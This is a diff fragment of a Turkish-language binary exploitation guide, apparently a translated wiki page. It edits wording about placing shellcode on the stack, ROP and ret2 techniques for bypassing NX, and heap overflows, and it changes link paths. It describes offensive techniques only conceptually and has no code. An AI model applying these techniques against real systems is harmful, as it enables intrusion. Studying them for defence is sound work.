+Bu senaryoda saldırgan, yığında bir kabuk kodu yerleştirebilir ve kontrol edilen EIP/RIP'yi kötü amaçlı kodu çalıştırmak için kabuk kodusuna atlamak için kullanabilir:
 
 {% content-ref url="stack-shellcode/" %}
 [stack-shellcode](stack-shellcode/)
@@ -85,7 +85,7 @@ Bu senaryoda saldırgan, bir kabuk kodunu yığına yerleştirebilir ve kontrol
 
 ### ROP ve Ret2... teknikleri
 
-Bu teknik, önceki tekniğin ana korumasını atlamak için temel çerçevedir: **Yürütülebilir yığın yok (NX)**. Ve bu, ikili dosyadaki mevcut talimatları kötüye kullanarak keyfi komutları yürütmeyi sağlayan diğer teknikleri gerçekleştirmenizi sağlar (ret2lib, ret2syscall...):
+Bu teknik, önceki tekniğe başlıca korumayı atlamak için temel çerçevedir: **Yürütülebilir yığın yok (NX)**. Ve ikili dosyadaki mevcut talimatları kötüye kullanarak keyfi komutları çalıştırmayı sağlayan diğer teknikleri gerçekleştirmenize olanak tanır (ret2lib, ret2syscall...):
 
 {% content-ref url="../rop-return-oriented-programing/" %}
 [rop-return-oriented-programing](../rop-return-oriented-programing/)
@@ -95,8 +95,8 @@ Bu teknik, önceki tekniğin ana korumasını atlamak için temel çerçevedir:
 
 Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de olabilir:
 
-{% content-ref url="../heap/heap-overflow.md" %}
+{% content-ref url="../libc-heap/heap-overflow.md" %}
-[heap-overflow.md](../heap/heap-overflow.md)
+[heap-overflow.md](../libc-heap/heap-overflow.md)
 {% endcontent-ref %}
 
 ## Koruma Türleri